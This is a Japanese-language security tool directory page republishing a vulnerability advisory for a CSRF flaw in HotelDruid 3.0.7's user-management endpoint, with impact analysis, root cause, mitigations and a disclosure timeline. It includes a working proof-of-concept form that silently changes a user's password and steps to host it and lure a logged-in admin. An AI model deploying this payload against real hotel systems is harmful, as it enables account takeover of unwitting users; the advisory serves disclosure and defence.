Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7 — HotelDruid 3.0.7 におけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性 (CVE-2025-25748) | Kitploit
ツール/GitHubGitHub/huyvo2910/cve-2525-25748-cross-site-request-forgery-csrf-vulnerability-in-hoteldruid-3.0.7
脆弱性分析ウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト論文と研究学習と教育
GitHubhuyvo2910/cve-2525-25748-cross-site-request-forgery-csrf-vulnerability-in-hoteldruid-3.0.7

CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7

HotelDruid 3.0.7 におけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性 (CVE-2025-25748)

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1年前未レビュー

CVE-2025-25748 - HotelDruid 3.0.7 におけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性

説明

HotelDruid 3.0.7 の gestione_utenti.php エンドポイントにおけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性により、攻撃者はオリジンまたはリファラの検証の欠如とCSRFトークンの不在を悪用して、認証されたユーザーに代わって不正な操作(例:ユーザーパスワードの変更)を実行できます。


影響

  • 不正なパスワード変更: 攻撃者はユーザーパスワードを上書きし、完全なアカウント乗っ取りにつながります。
  • セッションライディング: 攻撃者は被害者のアクティブセッションを利用して、不正な管理変更を行うことができます。
  • データ漏洩のリスク: 管理者アカウントが侵害された場合、機密のユーザーデータや運用データが露出または改ざんされる可能性があります。

この脆弱性は、管理者アカウントを含むすべてのユーザーアカウントを、ユーザーの同意なしに不正な変更にさらします。


概念実証 (PoC)

PoC HTML フォーム

以下の悪意のあるフォームは、攻撃者がログイン済みの管理者にユーザーID 2のパスワードを maliciouspassword に変更させる方法を示しています。

root@kitploit:~
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php">    <input type="hidden" name="anno" value="2025">    <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429">    <input type="hidden" name="modifica_pass" value="SI">    <input type="hidden" name="id_utente_pass" value="2">    <input type="hidden" name="prima_pass" value="maliciouspassword">    <input type="hidden" name="seconda_pass" value="maliciouspassword">    <button type="submit">Submit</button></form>

攻撃のホスティングと実行

上記のコードを csrf_attack.html として保存します。

Pythonを使用して(攻撃者が管理するサーバーで)提供します:

root@kitploit:~
python3 -m http.server 8080

被害者を次のURLに誘導します:

root@kitploit:~
http://<attacker-ip>:8080/csrf_attack.html

送信されると、フォームはHotelDruidにリクエストを送信し、被害者のアクティブセッションを使用してユーザーID 2のパスワードを maliciouspassword に変更します。


分析

背景

HotelDruidは、ホテルやバケーションレンタル向けに広く使用されているオープンソースの物件管理システムです。ユーザー管理のための管理者制御を備えたマルチユーザーシステムであるため、承認されたユーザーのみがアカウント認証情報を変更できるようにすることは、システム全体のセキュリティにとって重要です。

CSRF脆弱性は、サーバーがユーザーのブラウザセッションに置く信頼を悪用します。被害者がログインして悪意のあるページにアクセスすると、そのページは被害者のアクティブセッションを使用して、脆弱なアプリケーションに不正なリクエストを静かに送信できます。HotelDruidでは、パスワード変更などの重要なアクションに対するCSRF防御の欠如により、攻撃者は悪意のあるリンクにアクセスする以外のユーザーの操作なしにアカウントを完全に侵害できます。


脆弱性の詳細

影響を受けるエンドポイント

  • gestione_utenti.php

影響を受けるパラメータ

  • modifica_pass
  • id_utente_pass
  • prima_pass
  • seconda_pass

根本原因

  • フォーム内にCSRF対策トークンが存在せず、サーバー側でも検証されません。
  • Origin または Referer ヘッダーの検証は行われません。
  • アプリケーションは、外部サイトからのものも含め、受信したPOSTリクエストを盲目的に信頼します。

悪用の流れ

  1. 攻撃者は gestione_utenti.php をターゲットとした、事前に入力された隠しフィールドを持つ悪意のあるHTMLフォームを準備します。
  2. 攻撃者はログイン済みのHotelDruidユーザー(例:管理者)を騙して悪意のあるページにアクセスさせます。
  3. アクセスすると、フォームは自動的に送信され、攻撃者が制御する値にユーザーのパスワードを変更する有効なリクエストを送信します。
  4. 被害者のセッションが、その知識や同意なしにリクエストを承認するために使用されます。

影響

  • アカウント乗っ取り: 管理者アカウントを含む任意のユーザーのパスワードがそのユーザーの知らないうちに変更され、攻撃者に完全なアクセス権が与えられます。
  • 権限昇格: 攻撃者はまず低レベルのユーザーを侵害し、その後管理者アクションを利用して権限を昇格させる可能性があります。
  • データ整合性のリスク: 攻撃者はユーザーアカウントを変更し、正当なユーザーをロックアウトしたり、バックドアアクセスを作成したりする可能性があります。

緩和策 / パッチ

開発者への推奨事項

CSRF対策トークン

  • すべての状態変更フォームおよびリクエストに対して、一意のCSRF対策トークンを実装し、強制します。
  • リクエストを処理する前に、サーバー側でトークンを検証します。

Referer/Origin ヘッダーの検証

  • Referer および Origin ヘッダーを検証して、リクエストが信頼できるオリジンから送信されていることを確認します。

GETリクエストによる機密操作の制限

  • パスワード変更などの操作は、POSTリクエストのみに制限する必要があります。
  • URL内で機密のセッションデータ(id_sessione など)を渡さないようにします。

セッション管理の強化

  • ログイン後にセッショントークンを再生成します。
  • 可能であれば、セッショントークンをIPアドレスやブラウザフィンガープリントにバインドします。

ユーザー通知

  • パスワード変更などの重要なアクションが発生した場合に、ユーザーに通知(メールまたはアプリ内アラート)します。

タイムラインとクレジット

  • 発見日: 2025年1月16日
  • ベンダー通知: 2025年1月17日
  • MITRE CVE割り当て: CVE-2025-25748、2025年2月27日
  • 公開開示: 2025年3月7日
  • 研究者: Huy Vo(セキュリティ研究者)
ツールをダウンロード